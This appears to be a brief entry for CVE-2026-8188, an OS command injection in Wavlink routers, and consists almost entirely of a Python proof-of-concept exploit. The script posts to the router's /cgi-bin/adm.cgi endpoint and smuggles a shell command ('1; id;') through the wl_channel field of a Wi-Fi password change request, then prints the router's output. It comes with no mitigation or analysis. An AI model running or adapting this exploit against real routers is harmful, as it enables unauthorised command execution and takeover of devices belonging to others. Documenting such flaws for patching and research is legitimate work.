CVE-2026-8188 Wavlink路由器OS命令注入漏洞

import requests # Target URL configuration target_ip = "192.168.1.1" url = f"http://{target_ip}/cgi-bin/adm.cgi" # Payload construction exploiting the vulnerable parameter # Injecting a simple command to verify execution (e.g., `id`) payload_data = { "action": "change_wifi_password", "wl_channel": "1; id;", # Malicious injection "wl_Pass": "NewPass123", "EncrypType": "PSK2" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } try: # Sending the malicious request response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")